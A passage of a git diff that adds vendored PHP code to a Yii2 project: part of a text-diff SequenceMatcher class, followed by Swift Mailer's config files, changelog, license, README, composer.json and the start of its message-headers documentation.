is "junk" or not. + */ + private $junkCallback = null; + + /** + * @var array The first sequence to compare against. + */ + private $a = null; + + /** + * @var array The second sequence. + */ + private $b = null; + + /** + * @var array Array of characters that are considered junk from the second sequence. Characters are the array key. + */ + private $junkDict = array(); + + /** + * @var array Array of indices that do not contain junk elements. + */ + private $b2j = array(); + + private $options = array(); + + private $defaultOptions = array( + 'ignoreNewLines' => false, + 'ignoreWhitespace' => false, + 'ignoreCase' => false + ); + + /** + * The constructor. With the sequences being passed, they'll be set for the + * sequence matcher and it will perform a basic cleanup & calculate junk + * elements. + * + * @param string|array $a A string or array containing the lines to compare against. + * @param string|array $b A string or array containing the lines to compare. + * @param string|array $junkCallback Either an array or string that references a callback function (if there is one) to determine 'junk' characters. + * @param array $options + */ + public function __construct($a, $b, $junkCallback=null, $options) + { + $this->a = null; + $this->b = null; + $this->junkCallback = $junkCallback; + $this->setOptions($options); + $this->setSequences($a, $b); + } + + /** + * Set new options + * + * @param array $options + */ + public function setOptions($options) + { + $this->options = array_merge($this->defaultOptions, $options); + } + + /** + * Set the first and second sequences to use with the sequence matcher. + * + * @param string|array $a A string or array containing the lines to compare against. + * @param string|array $b A string or array containing the lines to compare. + */ + public function setSequences($a, $b) + { + $this->setSeq1($a); + $this->setSeq2($b); + } + + /** + * Set the first sequence ($a) and reset any internal caches to indicate that + * when calling the calculation methods, we need to recalculate them. + * + * @param string|array $a The sequence to set as the first sequence. + */ + public function setSeq1($a) + { + if(!is_array($a)) { + $a = str_split($a); + } + if($a == $this->a) { + return; + } + + $this->a= $a; + $this->matchingBlocks = null; + $this->opCodes = null; + } + + /** + * Set the second sequence ($b) and reset any internal caches to indicate that + * when calling the calculation methods, we need to recalculate them. + * + * @param string|array $b The sequence to set as the second sequence. + */ + public function setSeq2($b) + { + if(!is_array($b)) { + $b = str_split($b); + } + if($b == $this->b) { + return; + } + + $this->b = $b; + $this->matchingBlocks = null; + $this->opCodes = null; + $this->fullBCount = null; + $this->chainB(); + } + + /** + * Generate the internal arrays containing the list of junk and non-junk + * characters for the second ($b) sequence. + */ + private function chainB() + { + $length = count ($this->b); + $this->b2j = array(); + $popularDict = array(); + + for($i = 0; $i < $length; ++$i) { + $char = $this->b[$i]; + if(isset($this->b2j[$char])) { + if($length >= 200 && count($this->b2j[$char]) * 100 > $length) { + $popularDict[$char] = 1; + unset($this->b2j[$char]); + } + else { + $this->b2j[$char][] = $i; + } + } + else { + $this->b2j[$char] = array( + $i + ); + } + } + + // Remove leftovers + foreach(array_keys($popularDict) as $char) { + unset($this->b2j[$char]); + } + + $this->junkDict = array(); + if(is_callable($this->junkCallback)) { + foreach(array_keys($popularDict) as $char) { + if(call_user_func($this->junkCallback, $char)) { + $this->junkDict[$char] = 1; + unset($popularDict[$char]); + } + } + + foreach(array_keys($this->b2j) as $char) { + if(call_user_func($this->junkCallback, $char)) { + $this->junkDict[$char] = 1; + unset($this->b2j[$char]); + } + } + } + } + + /** + * Checks if a particular character is in the junk dictionary + * for the list of junk characters. + * @param $b + * @return boolean True if the character is considered junk. False if not. + */ + private function isBJunk($b) + { + if(isset($this->juncDict[$b])) { + return true; + } + + return false; + } + + /** + * Find the longest matching block in the two sequences, as defined by the + * lower and upper constraints for each sequence. (for the first sequence, + * $alo - $ahi and for the second sequence, $blo - $bhi) + * + * Essentially, of all of the maximal matching blocks, return the one that + * startest earliest in $a, and all of those maximal matching blocks that + * start earliest in $a, return the one that starts earliest in $b. + * + * If the junk callback is defined, do the above but with the restriction + * that the junk element appears in the block. Extend it as far as possible + * by matching only junk elements in both $a and $b. + * + * @param int $alo The lower constraint for the first sequence. + * @param int $ahi The upper constraint for the first sequence. + * @param int $blo The lower constraint for the second sequence. + * @param int $bhi The upper constraint for the second sequence. + * @return array Array containing the longest match that includes the starting position in $a, start in $b and the length/size. + */ + public function findLongestMatch($alo, $ahi, $blo, $bhi) + { + $a = $this->a; + $b = $this->b; + + $bestI = $alo; + $bestJ = $blo; + $bestSize = 0; + + $j2Len = array(); + $nothing = array(); + + for($i = $alo; $i < $ahi; ++$i) { + $newJ2Len = array(); + $jDict = $this->arrayGetDefault($this->b2j, $a[$i], $nothing); + foreach($jDict as $jKey => $j) { + if($j < $blo) { + continue; + } + else if($j >= $bhi) { + break; + } + + $k = $this->arrayGetDefault($j2Len, $j -1, 0) + 1; + $newJ2Len[$j] = $k; + if($k > $bestSize) { + $bestI = $i - $k + 1; + $bestJ = $j - $k + 1; + $bestSize = $k; + } + } + + $j2Len = $newJ2Len; + } + + while($bestI > $alo && $bestJ > $blo && !$this->isBJunk($b[$bestJ - 1]) && + !$this->linesAreDifferent($bestI - 1, $bestJ - 1)) { + --$bestI; + --$bestJ; + ++$bestSize; + } + + while($bestI + $bestSize < $ahi && ($bestJ + $bestSize) < $bhi && + !$this->isBJunk($b[$bestJ + $bestSize]) && !$this->linesAreDifferent($bestI + $bestSize, $bestJ + $bestSize)) { + ++$bestSize; + } + + while($bestI > $alo && $bestJ > $blo && $this->isBJunk($b[$bestJ - 1]) && + !$this->isLineDifferent($bestI - 1, $bestJ - 1)) { + --$bestI; + --$bestJ; + ++$bestSize; + } + + while($bestI + $bestSize < $ahi && $bestJ + $bestSize < $bhi && + $this->isBJunk($b[$bestJ + $bestSize]) && !$this->linesAreDifferent($bestI + $bestSize, $bestJ + $bestSize)) { + ++$bestSize; + } + + return array( + $bestI, + $bestJ, + $bestSize + ); + } + + /** + * Check if the two lines at the given indexes are different or not. + * + * @param int $aIndex Line number to check against in a. + * @param int $bIndex Line number to check against in b. + * @return boolean True if the lines are different and false if not. + */ + public function linesAreDifferent($aIndex, $bIndex) + { + $lineA = $this->a[$aIndex]; + $lineB = $this->b[$bIndex]; + + if($this->options['ignoreWhitespace']) { + $replace = array("\t", ' '); + $lineA = str_replace($replace, '', $lineA); + $lineB = str_replace($replace, '', $lineB); + } + + if($this->options['ignoreCase']) { + $lineA = strtolower($lineA); + $lineB = strtolower($lineB); + } + + if($lineA != $lineB) { + return true; + } + + return false; + } + + /** + * Return a nested set of arrays for all of the matching sub-sequences + * in the strings $a and $b. + * + * Each block contains the lower constraint of the block in $a, the lower + * constraint of the block in $b and finally the number of lines that the + * block continues for. + * + * @return array Nested array of the matching blocks, as described by the function. + */ + public function getMatchingBlocks() + { + if(!empty($this->matchingBlocks)) { + return $this->matchingBlocks; + } + + $aLength = count($this->a); + $bLength = count($this->b); + + $queue = array( + array( + 0, + $aLength, + 0, + $bLength + ) + ); + + $matchingBlocks = array(); + while(!empty($queue)) { + list($alo, $ahi, $blo, $bhi) = array_pop($queue); + $x = $this->findLongestMatch($alo, $ahi, $blo, $bhi); + list($i, $j, $k) = $x; + if($k) { + $matchingBlocks[] = $x; + if($alo < $i && $blo < $j) { + $queue[] = array( + $alo, + $i, + $blo, + $j + ); + } + + if($i + $k < $ahi && $j + $k < $bhi) { + $queue[] = array( + $i + $k, + $ahi, + $j + $k, + $bhi + ); + } + } + } + + usort($matchingBlocks, array($this, 'tupleSort')); + + $i1 = 0; + $j1 = 0; + $k1 = 0; + $nonAdjacent = array(); + foreach($matchingBlocks as $block) { + list($i2, $j2, $k2) = $block; + if($i1 + $k1 == $i2 && $j1 + $k1 == $j2) { + $k1 += $k2; + } + else { + if($k1) { + $nonAdjacent[] = array( + $i1, + $j1, + $k1 + ); + } + + $i1 = $i2; + $j1 = $j2; + $k1 = $k2; + } + } + + if($k1) { + $nonAdjacent[] = array( + $i1, + $j1, + $k1 + ); + } + + $nonAdjacent[] = array( + $aLength, + $bLength, + 0 + ); + + $this->matchingBlocks = $nonAdjacent; + return $this->matchingBlocks; + } + + /** + * Return a list of all of the opcodes for the differences between the + * two strings. + * + * The nested array returned contains an array describing the opcode + * which includes: + * 0 - The type of tag (as described below) for the opcode. + * 1 - The beginning line in the first sequence. + * 2 - The end line in the first sequence. + * 3 - The beginning line in the second sequence. + * 4 - The end line in the second sequence. + * + * The different types of tags include: + * replace - The string from $i1 to $i2 in $a should be replaced by + * the string in $b from $j1 to $j2. + * delete - The string in $a from $i1 to $j2 should be deleted. + * insert - The string in $b from $j1 to $j2 should be inserted at + * $i1 in $a. + * equal - The two strings with the specified ranges are equal. + * + * @return array Array of the opcodes describing the differences between the strings. + */ + public function getOpCodes() + { + if(!empty($this->opCodes)) { + return $this->opCodes; + } + + $i = 0; + $j = 0; + $this->opCodes = array(); + + $blocks = $this->getMatchingBlocks(); + foreach($blocks as $block) { + list($ai, $bj, $size) = $block; + $tag = ''; + if($i < $ai && $j < $bj) { + $tag = 'replace'; + } + else if($i < $ai) { + $tag = 'delete'; + } + else if($j < $bj) { + $tag = 'insert'; + } + + if($tag) { + $this->opCodes[] = array( + $tag, + $i, + $ai, + $j, + $bj + ); + } + + $i = $ai + $size; + $j = $bj + $size; + + if($size) { + $this->opCodes[] = array( + 'equal', + $ai, + $i, + $bj, + $j + ); + } + } + return $this->opCodes; + } + + /** + * Return a series of nested arrays containing different groups of generated + * opcodes for the differences between the strings with up to $context lines + * of surrounding content. + * + * Essentially what happens here is any big equal blocks of strings are stripped + * out, the smaller subsets of changes are then arranged in to their groups. + * This means that the sequence matcher and diffs do not need to include the full + * content of the different files but can still provide context as to where the + * changes are. + * + * @param int $context The number of lines of context to provide around the groups. + * @return array Nested array of all of the grouped opcodes. + */ + public function getGroupedOpcodes($context=3) + { + $opCodes = $this->getOpCodes(); + if(empty($opCodes)) { + $opCodes = array( + array( + 'equal', + 0, + 1, + 0, + 1 + ) + ); + } + + if($opCodes[0][0] == 'equal') { + $opCodes[0] = array( + $opCodes[0][0], + max($opCodes[0][1], $opCodes[0][2] - $context), + $opCodes[0][2], + max($opCodes[0][3], $opCodes[0][4] - $context), + $opCodes[0][4] + ); + } + + $lastItem = count($opCodes) - 1; + if($opCodes[$lastItem][0] == 'equal') { + list($tag, $i1, $i2, $j1, $j2) = $opCodes[$lastItem]; + $opCodes[$lastItem] = array( + $tag, + $i1, + min($i2, $i1 + $context), + $j1, + min($j2, $j1 + $context) + ); + } + + $maxRange = $context * 2; + $groups = array(); + $group = array(); + foreach($opCodes as $code) { + list($tag, $i1, $i2, $j1, $j2) = $code; + if($tag == 'equal' && $i2 - $i1 > $maxRange) { + $group[] = array( + $tag, + $i1, + min($i2, $i1 + $context), + $j1, + min($j2, $j1 + $context) + ); + $groups[] = $group; + $group = array(); + $i1 = max($i1, $i2 - $context); + $j1 = max($j1, $j2 - $context); + } + $group[] = array( + $tag, + $i1, + $i2, + $j1, + $j2 + ); + } + + if(!empty($group) && !(count($group) == 1 && $group[0][0] == 'equal')) { + $groups[] = $group; + } + + return $groups; + } + + /** + * Return a measure of the similarity between the two sequences. + * This will be a float value between 0 and 1. + * + * Out of all of the ratio calculation functions, this is the most + * expensive to call if getMatchingBlocks or getOpCodes is yet to be + * called. The other calculation methods (quickRatio and realquickRatio) + * can be used to perform quicker calculations but may be less accurate. + * + * The ratio is calculated as (2 * number of matches) / total number of + * elements in both sequences. + * + * @return float The calculated ratio. + */ + public function Ratio() + { + $matches = array_reduce($this->getMatchingBlocks(), array($this, 'ratioReduce'), 0); + return $this->calculateRatio($matches, count ($this->a) + count ($this->b)); + } + + /** + * Helper function to calculate the number of matches for Ratio(). + * + * @param int $sum The running total for the number of matches. + * @param array $triple Array containing the matching block triple to add to the running total. + * @return int The new running total for the number of matches. + */ + private function ratioReduce($sum, $triple) + { + return $sum + ($triple[count($triple) - 1]); + } + + /** + * Quickly return an upper bound ratio for the similarity of the strings. + * This is quicker to compute than Ratio(). + * + * @return float The calculated ratio. + */ + private function quickRatio() + { + if($this->fullBCount === null) { + $this->fullBCount = array(); + $bLength = count ($this->b); + for($i = 0; $i < $bLength; ++$i) { + $char = $this->b[$i]; + $this->fullBCount[$char] = $this->arrayGetDefault($this->fullBCount, $char, 0) + 1; + } + } + + $avail = array(); + $matches = 0; + $aLength = count ($this->a); + for($i = 0; $i < $aLength; ++$i) { + $char = $this->a[$i]; + if(isset($avail[$char])) { + $numb = $avail[$char]; + } + else { + $numb = $this->arrayGetDefault($this->fullBCount, $char, 0); + } + $avail[$char] = $numb - 1; + if($numb > 0) { + ++$matches; + } + } + + $this->calculateRatio($matches, count ($this->a) + count ($this->b)); + } + + /** + * Return an upper bound ratio really quickly for the similarity of the strings. + * This is quicker to compute than Ratio() and quickRatio(). + * + * @return float The calculated ratio. + */ + private function realquickRatio() + { + $aLength = count ($this->a); + $bLength = count ($this->b); + + return $this->calculateRatio(min($aLength, $bLength), $aLength + $bLength); + } + + /** + * Helper function for calculating the ratio to measure similarity for the strings. + * The ratio is defined as being 2 * (number of matches / total length) + * + * @param int $matches The number of matches in the two strings. + * @param int $length The length of the two strings. + * @return float The calculated ratio. + */ + private function calculateRatio($matches, $length=0) + { + if($length) { + return 2 * ($matches / $length); + } + else { + return 1; + } + } + + /** + * Helper function that provides the ability to return the value for a key + * in an array of it exists, or if it doesn't then return a default value. + * Essentially cleaner than doing a series of if(isset()) {} else {} calls. + * + * @param array $array The array to search. + * @param string $key The key to check that exists. + * @param mixed $default The value to return as the default value if the key doesn't exist. + * @return mixed The value from the array if the key exists or otherwise the default. + */ + private function arrayGetDefault($array, $key, $default) + { + if(isset($array[$key])) { + return $array[$key]; + } + else { + return $default; + } + } + + /** + * Sort an array by the nested arrays it contains. Helper function for getMatchingBlocks + * + * @param array $a First array to compare. + * @param array $b Second array to compare. + * @return int -1, 0 or 1, as expected by the usort function. + */ + private function tupleSort($a, $b) + { + $max = max(count($a), count($b)); + for($i = 0; $i < $max; ++$i) { + if($a[$i] < $b[$i]) { + return -1; + } + else if($a[$i] > $b[$i]) { + return 1; + } + } + + if(count($a) == count($b)) { + return 0; + } + else if(count($a) < count($b)) { + return -1; + } + else { + return 1; + } + } +} \ No newline at end of file diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/.gitattributes b/php/yii2/basic/vendor/swiftmailer/swiftmailer/.gitattributes new file mode 100644 index 00000000..5568ef09 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/.gitattributes @@ -0,0 +1,6 @@ +*.crt -crlf +*.key -crlf +*.srl -crlf +*.pub -crlf +*.priv -crlf +*.txt -crlf diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/.gitignore b/php/yii2/basic/vendor/swiftmailer/swiftmailer/.gitignore new file mode 100644 index 00000000..9a23ffe6 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/.gitignore @@ -0,0 +1,4 @@ +/tests/acceptance.conf.php +/tests/smoke.conf.php +/build/* +/vendor/ diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/.travis.yml b/php/yii2/basic/vendor/swiftmailer/swiftmailer/.travis.yml new file mode 100644 index 00000000..cadee014 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/.travis.yml @@ -0,0 +1,25 @@ +language: php + +php: + - 5.3 + - 5.4 + - 5.5 + - 5.6 + - hhvm-nightly + +before_script: + - cp tests/acceptance.conf.php.default tests/acceptance.conf.php + - cp tests/smoke.conf.php.default tests/smoke.conf.php + - composer self-update + - composer update --no-interaction --prefer-source + - gem install mailcatcher + - mailcatcher --smtp-port 4456 + +script: + - phpunit --verbose + +matrix: + allow_failures: + - php: 5.6 + - php: hhvm-nightly + fast_finish: true diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/CHANGES b/php/yii2/basic/vendor/swiftmailer/swiftmailer/CHANGES new file mode 100644 index 00000000..177766fa --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/CHANGES @@ -0,0 +1,186 @@ +Changelog +========= + +5.3.0 (2014-10-04) +------------------ + + * fixed cloning when using signers + * reverted removal of Swift_Encoding + * drop support for PHP 5.2.x + +5.2.2 (2014-09-20) +------------------ + + * fixed Japanese support + * fixed the memory spool when the message changes when in the pool + * added support for cloning messages + * fixed PHP warning in the redirect plugin + * changed the way to and cc-ed email are sent to only use one transaction + +5.2.1 (2014-06-13) +------------------ + + * SECURITY FIX: fixed CLI escaping when using sendmail as a transport + + Prior to 5.2.1, the sendmail transport (Swift_Transport_SendmailTransport) + was vulnerable to an arbitrary shell execution if the "From" header came + from a non-trusted source and no "Return-Path" is configured. + + * fixed parameter in DKIMSigner + * fixed compatibility with PHP < 5.4 + +5.2.0 (2014-05-08) +------------------ + + * fixed Swift_ByteStream_FileByteStream::read() to match to the specification + * fixed from-charset and to-charset arguments in mbstring_convert_encoding() usages + * fixed infinite loop in StreamBuffer + * fixed NullTransport to return the number of ignored emails instead of 0 + * Use phpunit and mockery for unit testing (realityking) + +5.1.0 (2014-03-18) +------------------ + + * fixed data writing to stream when sending large messages + * added support for libopendkim (https://github.com/xdecock/php-opendkim) + * merged SignedMessage and Message + * added Gmail XOAuth2 authentication + * updated the list of known mime types + * added NTLM authentication + +5.0.3 (2013-12-03) +------------------ + + * fixed double-dot bug + * fixed DKIM signer + +5.0.2 (2013-08-30) +------------------ + + * handled correct exception type while reading IoBuffer output + +5.0.1 (2013-06-17) +------------------ + + * changed the spool to only start the transport when a mail has to be sent + * fixed compatibility with PHP 5.2 + * fixed LICENSE file + +5.0.0 (2013-04-30) +------------------ + + * changed the license from LGPL to MIT + +4.3.1 (2013-04-11) +------------------ + + * removed usage of the native QP encoder when the charset is not UTF-8 + * fixed usage of uniqid to avoid collisions + * made a performance improvement when tokenizing large headers + * fixed usage of the PHP native QP encoder on PHP 5.4.7+ + +4.3.0 (2013-01-08) +------------------ + + * made the temporary directory configurable via the TMPDIR env variable + * added S/MIME signer and encryption support + +4.2.2 (2012-10-25) +------------------ + + * added the possibility to throttle messages per second in ThrottlerPlugin (mostly for Amazon SES) + * switched mime.qpcontentencoder to automatically use the PHP native encoder on PHP 5.4.7+ + * allowed specifying a whitelist with regular expressions in RedirectingPlugin + +4.2.1 (2012-07-13) +------------------ + + * changed the coding standards to PSR-1/2 + * fixed issue with autoloading + * added NativeQpContentEncoder to enhance performance (for PHP 5.3+) + +4.2.0 (2012-06-29) +------------------ + + * added documentation about how to use the Japanese support introduced in 4.1.8 + * added a way to override the default configuration in a lazy way + * changed the PEAR init script to lazy-load the initialization + * fixed a bug when calling Swift_Preferences before anything else (regression introduced in 4.1.8) + +4.1.8 (2012-06-17) +------------------ + + * added Japanese iso-2022-jp support + * changed the init script to lazy-load the initialization + * fixed docblocks (@id) which caused some problems with libraries parsing the dobclocks + * fixed Swift_Mime_Headers_IdentificationHeader::setId() when passed an array of ids + * fixed encoding of email addresses in headers + * added replacements setter to the Decorator plugin + +4.1.7 (2012-04-26) +------------------ + + * fixed QpEncoder safeMapShareId property + +4.1.6 (2012-03-23) +------------------ + + * reduced the size of serialized Messages + +4.1.5 (2012-01-04) +------------------ + + * enforced Swift_Spool::queueMessage() to return a Boolean + * made an optimization to the memory spool: start the transport only when required + * prevented stream_socket_client() from generating an error and throw a Swift_TransportException instead + * fixed a PHP warning when calling to mail() when safe_mode is off + * many doc tweaks + +4.1.4 (2011-12-16) +------------------ + + * added a memory spool (Swift_MemorySpool) + * fixed too many opened files when sending emails with attachments + +4.1.3 (2011-10-27) +------------------ + + * added STARTTLS support + * added missing @return tags on fluent methods + * added a MessageLogger plugin that logs all sent messages + * added composer.json + +4.1.2 (2011-09-13) +------------------ + + * fixed wrong detection of magic_quotes_runtime + * fixed fatal errors when no To or Subject header has been set + * fixed charset on parameter header continuations + * added documentation about how to install Swiftmailer from the PEAR channel + * fixed various typos and markup problem in the documentation + * fixed warning when cache directory does not exist + * fixed "slashes are escaped" bug + * changed require_once() to require() in autoload + +4.1.1 (2011-07-04) +------------------ + + * added missing file in PEAR package + +4.1.0 (2011-06-30) +------------------ + + * documentation has been converted to ReST + +4.1.0 RC1 (2011-06-17) +---------------------- + +New features: + + * changed the Decorator Plugin to allow replacements in all headers + * added Swift_Mime_Grammar and Swift_Validate to validate an email address + * modified the autoloader to lazy-initialize Swiftmailer + * removed Swift_Mailer::batchSend() + * added NullTransport + * added new plugins: RedirectingPlugin and ImpersonatePlugin + * added a way to send messages asynchronously (Spool) diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/LICENSE b/php/yii2/basic/vendor/swiftmailer/swiftmailer/LICENSE new file mode 100644 index 00000000..674bb2a6 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/LICENSE @@ -0,0 +1,19 @@ +Copyright (c) 2013 Fabien Potencier + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is furnished +to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/README b/php/yii2/basic/vendor/swiftmailer/swiftmailer/README new file mode 100644 index 00000000..eb5f8bcf --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/README @@ -0,0 +1,16 @@ +Swift Mailer +------------ + +Swift Mailer is a component based mailing solution for PHP 5. +It is released under the MIT license. + +Homepage: http://swiftmailer.org +Documentation: http://swiftmailer.org/docs +Mailing List: http://groups.google.com/group/swiftmailer +Bugs: https://github.com/swiftmailer/swiftmailer/issues +Repository: https://github.com/swiftmailer/swiftmailer + +Swift Mailer is highly object-oriented by design and lends itself +to use in complex web application with a great deal of flexibility. + +For full details on usage, see the documentation. diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/VERSION b/php/yii2/basic/vendor/swiftmailer/swiftmailer/VERSION new file mode 100644 index 00000000..97a04ab9 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/VERSION @@ -0,0 +1 @@ +Swift-5.3.0 diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/composer.json b/php/yii2/basic/vendor/swiftmailer/swiftmailer/composer.json new file mode 100644 index 00000000..ccc66326 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/composer.json @@ -0,0 +1,31 @@ +{ + "name": "swiftmailer/swiftmailer", + "type": "library", + "description": "Swiftmailer, free feature-rich PHP mailer", + "keywords": ["mail","mailer"], + "homepage": "http://swiftmailer.org", + "license": "MIT", + "authors": [ + { + "name": "Chris Corbyn" + }, + { + "name": "Fabien Potencier", + "email": "fabien@symfony.com" + } + ], + "require": { + "php": ">=5.3.3" + }, + "require-dev": { + "mockery/mockery": "~0.9.1" + }, + "autoload": { + "files": ["lib/swift_required.php"] + }, + "extra": { + "branch-alias": { + "dev-master": "5.3-dev" + } + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/doc/headers.rst b/php/yii2/basic/vendor/swiftmailer/swiftmailer/doc/headers.rst new file mode 100644 index 00000000..6aec23ff --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/doc/headers.rst @@ -0,0 +1,742 @@ +Message Headers +=============== + +Sometimes you'll want to add your own headers to a message or modify/remove +headers that are already present. You work with the message's HeaderSet to do +this. + +Header Basics +------------- + +All MIME entities in Swift Mailer -- including the message itself -- +store their headers in a single object called a HeaderSet. This HeaderSet is +retrieved with the ``getHeaders()`` method. + +As mentioned in the previous chapter, everything that forms a part of a message +in Swift Mailer is a MIME entity that is represented by an instance of +``Swift_Mime_MimeEntity``. This includes -- most notably -- the message object +itself, attachments, MIME parts and embedded images. Each of these MIME entities +consists of a body and a set of headers that describe the body. + +For all of the "standard" headers in these MIME entities, such as the +``Content-Type``, there are named methods for working with them, such as +``setContentType()`` and ``getContentType()``. This is because headers are a +moderately complex area of the library. Each header has a slightly different +required structure that it must meet in order to comply with the standards that +govern email (and that are checked by spam blockers etc). + +You fetch the HeaderSet from a MIME entity like so: + +.. code-block:: php + + $message = Swift_Message::newInstance(); + + // Fetch the HeaderSet from a Message object + $headers = $message->getHeaders(); + + $attachment = Swift_Attachment::fromPath('document.pdf'); + + // Fetch the HeaderSet from an attachment object + $headers = $attachment->getHeaders(); + +The job of the HeaderSet is to contain and manage instances of Header objects. +Depending upon the MIME entity the HeaderSet came from, the contents of the +HeaderSet will be different, since an attachment for example has a different +set of headers to those in a message. + +You can find out what the HeaderSet contains with a quick loop, dumping out +the names of the headers: + +.. code-block:: php + + foreach ($headers->getAll() as $header) { + printf("%s
              \n", $header->getFieldName()); + } + + /* + Content-Transfer-Encoding + Content-Type + MIME-Version + Date + Message-ID + From + Subject + To + */ + +You can also dump out the rendered HeaderSet by calling its ``toString()`` +method: + +.. code-block:: php + + echo $headers->toString(); + + /* + Message-ID: <1234869991.499a9ee7f1d5e@swift.generated> + Date: Tue, 17 Feb 2009 22:26:31 +1100 + Subject: Awesome subject! + From: sender@example.org + To: recipient@example.org + MIME-Version: 1.0 + Content-Type: text/plain; charset=utf-8 + Content-Transfer-Encoding: quoted-printable + */ + +Where the complexity comes in is when you want to modify an existing header. +This complexity comes from the fact that each header can be of a slightly +different type (such as a Date header, or a header that contains email +addresses, or a header that has key-value parameters on it!). Each header in the +HeaderSet is an instance of ``Swift_Mime_Header``. They all have common +functionality, but knowing exactly what type of header you're working with will +allow you a little more control. + +You can determine the type of header by comparing the return value of its +``getFieldType()`` method with the constants ``TYPE_TEXT``, +``TYPE_PARAMETERIZED``, ``TYPE_DATE``, ``TYPE_MAILBOX``, ``TYPE_ID`` and +``TYPE_PATH`` which are defined in ``Swift_Mime_Header``. + + +.. code-block:: php + + foreach ($headers->getAll() as $header) { + switch ($header->getFieldType()) { + case Swift_Mime_Header::TYPE_TEXT: $type = 'text'; + break; + case Swift_Mime_Header::TYPE_PARAMETERIZED: $type = 'parameterized'; + break; + case Swift_Mime_Header::TYPE_MAILBOX: $type = 'mailbox'; + break; + case Swift_Mime_Header::TYPE_DATE: $type = 'date'; + break; + case Swift_Mime_Header::TYPE_ID: $type = 'ID'; + break; + case Swift_Mime_Header::TYPE_PATH: $type = 'path'; + break; + } + printf("%s: is a %s header
              \n", $header->getFieldName(), $type); + } + + /* + Content-Transfer-Encoding: is a text header + Content-Type: is a parameterized header + MIME-Version: is a text header + Date: is a date header + Message-ID: is a ID header + From: is a mailbox header + Subject: is a text header + To: is a mailbox header + */ + +Headers can be removed from the set, modified within the set, or added to the +set. + +The following sections show you how to work with the HeaderSet and explain the +details of each implementation of ``Swift_Mime_Header`` that may +exist within the HeaderSet. + +Header Types +------------ + +Because all headers are modeled on different data (dates, addresses, text!) +there are different types of Header in Swift Mailer. Swift Mailer attempts to +categorize all possible MIME headers into more general groups, defined by a +small number of classes. + +Text Headers +~~~~~~~~~~~~ + +Text headers are the simplest type of Header. They contain textual information +with no special information included within it -- for example the Subject +header in a message. + +There's nothing particularly interesting about a text header, though it is +probably the one you'd opt to use if you need to add a custom header to a +message. It represents text just like you'd think it does. If the text +contains characters that are not permitted in a message header (such as new +lines, or non-ascii characters) then the header takes care of encoding the +text so that it can be used. + +No header -- including text headers -- in Swift Mailer is vulnerable to +header-injection attacks. Swift Mailer breaks any attempt at header injection by +encoding the dangerous data into a non-dangerous form. + +It's easy to add a new text header to a HeaderSet. You do this by calling the +HeaderSet's ``addTextHeader()`` method. + +.. code-block:: php + + $message = Swift_Message::newInstance(); + + $headers = $message->getHeaders(); + + $headers->addTextHeader('Your-Header-Name', 'the header value'); + +Changing the value of an existing text header is done by calling it's +``setValue()`` method. + +.. code-block:: php + + $subject = $message->getHeaders()->get('Subject'); + + $subject->setValue('new subject'); + +When output via ``toString()``, a text header produces something like the +following: + +.. code-block:: php + + $subject = $message->getHeaders()->get('Subject'); + + $subject->setValue('amazing subject line'); + + echo $subject->toString(); + + /* + + Subject: amazing subject line + + */ + +If the header contains any characters that are outside of the US-ASCII range +however, they will be encoded. This is nothing to be concerned about since +mail clients will decode them back. + +.. code-block:: php + + $subject = $message->getHeaders()->get('Subject'); + + $subject->setValue('contains – dash'); + + echo $subject->toString(); + + /* + + Subject: contains =?utf-8?Q?=E2=80=93?= dash + + */ + +Parameterized Headers +~~~~~~~~~~~~~~~~~~~~~ + +Parameterized headers are text headers that contain key-value parameters +following the textual content. The Content-Type header of a message is a +parameterized header since it contains charset information after the content +type. + +The parameterized header type is a special type of text header. It extends the +text header by allowing additional information to follow it. All of the methods +from text headers are available in addition to the methods described here. + +Adding a parameterized header to a HeaderSet is done by using the +``addParameterizedHeader()`` method which takes a text value like +``addTextHeader()`` but it also accepts an associative array of +key-value parameters. + +.. code-block:: php + + $message = Swift_Message::newInstance(); + + $headers = $message->getHeaders(); + + $headers->addParameterizedHeader( + 'Header-Name', 'header value', + array('foo' => 'bar') + ); + +To change the text value of the header, call it's ``setValue()`` method just as +you do with text headers. + +To change the parameters in the header, call the header's ``setParameters()`` +method or the ``setParameter()`` method (note the pluralization). + +.. code-block:: php + + $type = $message->getHeaders()->get('Content-Type'); + + // setParameters() takes an associative array + $type->setParameters(array( + 'name' => 'file.txt', + 'charset' => 'iso-8859-1' + )); + + // setParameter() takes two args for $key and $value + $type->setParameter('charset', 'iso-8859-1'); + +When output via ``toString()``, a parameterized header produces something like +the following: + +.. code-block:: php + + $type = 